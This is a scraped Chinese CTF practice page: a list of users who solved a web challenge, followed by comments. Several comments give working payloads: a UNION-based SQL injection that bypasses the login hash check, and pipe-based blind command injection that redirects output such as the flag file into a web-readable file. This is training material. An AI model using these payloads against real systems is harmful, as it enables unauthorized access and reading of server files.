评分(14)
解题动态
VCD 攻破了该题 1小时前
sysgeyshell 攻破了该题 15小时前
C071 攻破了该题 1天前
花猫咪 攻破了该题 1天前
New_wl 攻破了该题 2天前
qqai 攻破了该题 2天前
wauo3 攻破了该题 2天前
Fulucky 攻破了该题 3天前
asphuyu 攻破了该题 3天前
123佳 攻破了该题 4天前
青春小豆 攻破了该题 5天前
niubill 攻破了该题 5天前
xong_bai 攻破了该题 5天前
guanyunyao 攻破了该题 6天前
西红柿dun牛腩 攻破了该题 6天前
yt430u 攻破了该题 6天前
Mr.Cyber 攻破了该题 7天前
小石 攻破了该题 8天前
告别の记忆 攻破了该题 9天前
评论
lysandria 4年前
举报
注入：我用sqlmap跑不出，绕不过过滤的东西。上手，绕过union select即可。 命令注入：无回显，输出到文件在访问即可。
你能刑 4年前
举报
看不懂提示
200200 4年前
举报
https://blog.csdn.net/weixin_58111246/article/details/123482301?spm=1001.2014.3001.5501
最爱吃兽奶 4年前
举报
以下正解：抓包后返回里面有个提示代码，base64解码后得到数据库代码，页面中username填个admin' union select 1,md5(123)# 然后password填个123，进入到后台，输入框输入12|ls 没反应，输入12|ls ../../../../../>tes，查看test后发现flag文件是在根目录的。12|cat ../../../../flag>te
sixiaokai 4年前
举报
sql注入，sqlmap，union select绕过密码hash判断、利用管道符｜命令执行
Cassaundra 4年前
举报
???http://114.67.175.224:12328/test直接出来了
Cassaundra 4年前
举报
访问不到成功被坑6金币，日内瓦！退金币！
holmes 4年前
举报
用户名：admin' union select 1,md5(123)# 密码：123 成功登陆， 在新页面输入框内输入 123 | cat /flag ../../../../>test (注意：此处的 > 是个大于号，由于编码保护，所以打不出来) ， 然后网址栏处输入： url (当前的网址，但要把index.php去掉) /test 得到flag。
狐萝卜CarroT 4年前
举报
学到了
zxmals 4年前
举报
我的sqlmap 怎么跑的那么慢，时间都用完了，还没跑出来
zjk001 4年前
举报
你是不是代理没关